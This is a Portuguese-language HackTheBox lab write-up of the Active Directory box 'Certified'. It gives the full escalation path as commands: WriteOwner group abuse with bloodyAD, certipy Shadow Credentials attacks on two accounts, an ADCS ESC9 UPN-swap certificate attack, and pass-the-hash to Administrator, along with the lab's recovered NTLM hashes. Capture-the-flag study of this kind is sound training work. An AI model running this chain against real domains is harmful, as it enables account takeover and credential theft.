Informações da Box

PlataformaHackTheBox
DificuldadeMedium
SOWindows Server (Domain Controller)
Técnicas PrincipaisWriteOwner Abuse, Shadow Credentials, ADCS ESC9, Pass-the-Hash

Resumo do Caminho de Ataque

Assumed breach com creds da judith.mader. Rodei BloodHound e ele mostrou a chain completa de ACL: judith tinha WriteOwner no grupo Management, então tomamos ownership, demos GenericAll, e entramos no grupo. Isso nos deu GenericWrite no management_svc que usamos pra um ataque de Shadow Credentials e pegar o hash NT. Pegamos shell como management_svc (user flag). Depois management_svc tinha GenericAll no ca_operator, mesmo ataque de shadow creds. Finalmente, ca_operator podia se inscrever num template de certificado vulnerável a ESC9. Trocamos o UPN pra Administrator, solicitamos um cert, restauramos o UPN, autenticamos com ele e pegamos o hash do admin. Pass the hash, pronto.

Essa box é basicamente uma masterclass de ACL abuse com uma cereja ADCS em cima.


Enumeração

# Terminal 1: TCP rápido todas as portas
sudo nmap -Pn -p- --min-rate=1000 -T4 -oN fast_tcp.txt $ip

# Terminal 2: Top 20 UDP
sudo nmap -Pn -sU --top-ports=20 -oN udp_top20.txt $ip

# Terminal 3: Scan direcionado (depois do scan rápido terminar)
ports=$(grep '^[0-9]' fast_tcp.txt | cut -d '/' -f 1 | tr '\n' ',' | sed 's/,$//')
sudo nmap -A -Pn -sC -sV -p $ports -oA targeted $ip
# Portas encontradas: 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389

# Scan de vulns (roda enquanto enumera manualmente)
sudo nmap -sV -p $ports --script "vuln" $ip -oN vuln.txt

Portas padrão de DC. Nada fora do normal, nada web. Essa é uma box AD pura.

PortaServiçoNotas
88KerberosDC01.certified.htb
389/636LDAPDomínio certified.htb
445SMBnada interessante com nossas creds
5985WinRMacesso shell depois

Setup

echo "10.129.231.186 DC01.certified.htb certified.htb DC01" | sudo tee -a /etc/hosts
sudo ntpdate -u certified.htb
export ip=10.129.231.186

SMB

netexec smb $ip -u 'judith.mader' -p 'judith09' --shares --users --pass-pol

Nenhuma share interessante, nenhuma info suculenta. Assumed breach significa que as creds são o presente, o resto a gente conquista.


BloodHound — Mapeando o Caminho de Ataque

bloodhound-python -u 'judith.mader' -p 'judith09' -ns $ip -d certified.htb -c All

Subi o zip pro BloodHound CE e o caminho saltou na cara:

judith.mader
  |-- WriteOwner no grupo Management
  |-- Grupo Management tem GenericWrite no management_svc
  |-- management_svc tem GenericAll no ca_operator
  |-- ca_operator pode se inscrever no template CertifiedAuthentication (ESC9)

Também rodei certipy pra confirmar o ângulo ADCS:

certipy-ad find -vulnerable -u [email protected] -p 'judith09' -dc-ip $ip -stdout

Encontrei o template CertifiedAuthentication. Ele tem CT_FLAG_NO_SECURITY_EXTENSION nos enrollment flags mais Client Authentication EKU. Isso é o combo ESC9.


Foothold — WriteOwner Abuse no Grupo Management

Três comandos. Tomar ownership, dar GenericAll pra si mesmo, se adicionar ao grupo:

bloodyAD -d certified.htb --host $ip -u judith.mader -p 'judith09' set owner 'management' judith.mader
bloodyAD -d certified.htb --host $ip -u judith.mader -p 'judith09' add genericAll 'management' judith.mader
bloodyAD -d certified.htb --host $ip -u judith.mader -p 'judith09' add groupMember 'management' judith.mader

WriteOwner abuse no grupo Management

E assim a judith tá no grupo Management. Isso nos dá GenericWrite no management_svc.


Shadow Credentials — management_svc

GenericWrite permite modificar o atributo msDS-KeyCredentialLink, o que significa que a gente pode fazer um ataque de Shadow Credentials. Certipy cuida de tudo num comando só:

certipy-ad shadow auto -username [email protected] -password 'judith09' \
  -account management_svc -target certified.htb -dc-ip $ip

Shadow credentials no management_svc

Pegou o hash NT do management_svc: a091c1832bcdd4677c28b5a6a1295584

Pegando Shell

evil-winrm -i certified.htb -u management_svc -H a091c1832bcdd4677c28b5a6a1295584

Essa é engraçada. evil-winrm com o endereço IP direto se recusou a conectar. Passei um tempo tentando coisas diferentes, aí tentei apontar pro nome de domínio certified.htb e simplesmente funcionou. Não faço ideia por que essa box faz isso, mas guarda essa.

Problemas de conexão evil-winrm

Pegamos shell como management_svc

Tamo dentro. User flag no desktop do management_svc.


Shadow Credentials — ca_operator

BloodHound mostra que management_svc tem GenericAll no ca_operator. Mesmo ataque, alvo diferente.

GenericAll no ca_operator

# Sincronize o relógio primeiro — isso me pegou DE NOVO
sudo ntpdate -u certified.htb

certipy-ad shadow auto -username [email protected] \
  -hashes :a091c1832bcdd4677c28b5a6a1295584 \
  -account ca_operator -target certified.htb -dc-ip $ip

Shadow credentials no ca_operator

Hash NT do ca_operator: b4b86f45c6018f1b664f70805f45d8f2


Domain Admin — ADCS ESC9

Essa é a parte divertida. ESC9 explora mapeamento fraco de certificados. Aqui tá por que funciona:

O template CertifiedAuthentication tem CT_FLAG_NO_SECURITY_EXTENSION nos enrollment flags, então a CA NÃO embute o objectSid do solicitante no certificado. O DC tem StrongCertificateBindingEnforcement = 1 (modo compatibilidade) o que significa que quando não tem SID no cert, ele faz fallback pra mapeamento baseado em UPN.

Então o truque é: trocar o UPN do ca_operator pra Administrator, solicitar um cert (nenhum SID é embutido, UPN diz Administrator), restaurar o UPN, depois autenticar. O DC vê o UPN “Administrator” sem nada pra contradizer e simplesmente confia. Bonito e assustador.

Enumeração ADCS Detalhes do template CertifiedAuthentication

Passo 1 — Trocar UPN do ca_operator pra Administrator

Usamos as creds do management_svc porque ele tem GenericAll sobre o ca_operator. Importante: use Administrator sem @dominio pra evitar colisão de UPN com a conta admin real.

certipy-ad account update -username [email protected] \
  -hashes :a091c1832bcdd4677c28b5a6a1295584 \
  -user ca_operator -upn Administrator -dc-ip $ip

Passo 2 — Solicitar o certificado

certipy-ad req -username [email protected] \
  -hashes :b4b86f45c6018f1b664f70805f45d8f2 \
  -ca certified-DC01-CA -template CertifiedAuthentication -dc-ip $ip

Isso salva administrator.pfx, um certificado com UPN=Administrator e sem objectSid.

Passo 3 — Restaurar UPN do ca_operator

Faça isso ANTES de autenticar. Se o ca_operator ainda tiver com UPN=Administrator quando autenticar, o DC mapeia o cert de volta pro ca_operator em vez do Administrator real.

certipy-ad account update -username [email protected] \
  -hashes :a091c1832bcdd4677c28b5a6a1295584 \
  -user ca_operator -upn [email protected] -dc-ip $ip

Passo 4 — Autenticar e pegar hash do Administrator

certipy-ad auth -pfx administrator.pfx -dc-ip $ip -domain certified.htb

Ataque ESC9 — troca de UPN e solicitação de cert

Hash do Administrator obtido

E pegamos o hash do admin :D

Shell de Root

evil-winrm -i certified.htb -u Administrator -H 0d5b49608bbce1751f708748f67e2d34

Pwned

Pwned.


Credenciais

UsuárioSenha/HashOrigem
judith.maderjudith09Assumed breach
management_svca091c1832bcdd4677c28b5a6a1295584 (NTLM)Shadow Credentials
ca_operatorb4b86f45c6018f1b664f70805f45d8f2 (NTLM)Shadow Credentials
Administrator0d5b49608bbce1751f708748f67e2d34 (NTLM)ESC9 cert auth

O que Aprendi

Shadow Credentials com certipy é estupidamente fácil. certipy-ad shadow auto faz tudo de uma vez — adiciona a key credential, solicita TGT via PKINIT, extrai o hash NT, limpa tudo. GenericWrite ou GenericAll na conta alvo é tudo que precisa.

ESC9 é tudo sobre o truque do UPN. Quando um template tem a flag NO_SECURITY_EXTENSION, o cert não inclui o SID do solicitante. Troque o UPN de um usuário controlado pro alvo, solicite um cert, restaure o UPN antes de autenticar. O DC vê o UPN sem SID pra contradizer e mapeia pra conta real.

A ordem importa no ESC9. TEM que restaurar o UPN antes de autenticar. Se o usuário controlado ainda tiver com o UPN do Administrator quando autenticar, o DC mapeia o cert pra ele, não pro Administrator real. Tive que pensar nisso algumas vezes antes de clicar.

evil-winrm hostname vs IP. Algumas boxes recusam conexão por IP mas aceitam o nome de domínio. Se o evil-winrm travar ou falhar com o IP, tente o hostname. Não faço ideia por que isso acontece mas me custou tempo nessa box.

Sincronização de relógio vai te assombrar pra sempre. Shadow Credentials falhou porque meu relógio tava errado. Kerberos não perdoa diferença de horário. sudo ntpdate -u <dominio> antes de qualquer operação Kerberos. Eu fico reaprendendo essa lição do jeito difícil.

WriteOwner num grupo é uma chain de três passos. Tomar ownership, dar GenericAll (ou WriteMembers) pra si mesmo, depois se adicionar. Mesmo padrão que usei no EscapeTwo. Se ver WriteOwner no BloodHound, isso já devia ser memória muscular.

Padrão: “Chain ACL com ADCS: siga as edges do BloodHound um hop de cada vez, Shadow Credentials pra cada GenericWrite/GenericAll, e cheque certipy pra templates vulneráveis. ESC9 = NO_SECURITY_EXTENSION + troca de UPN.”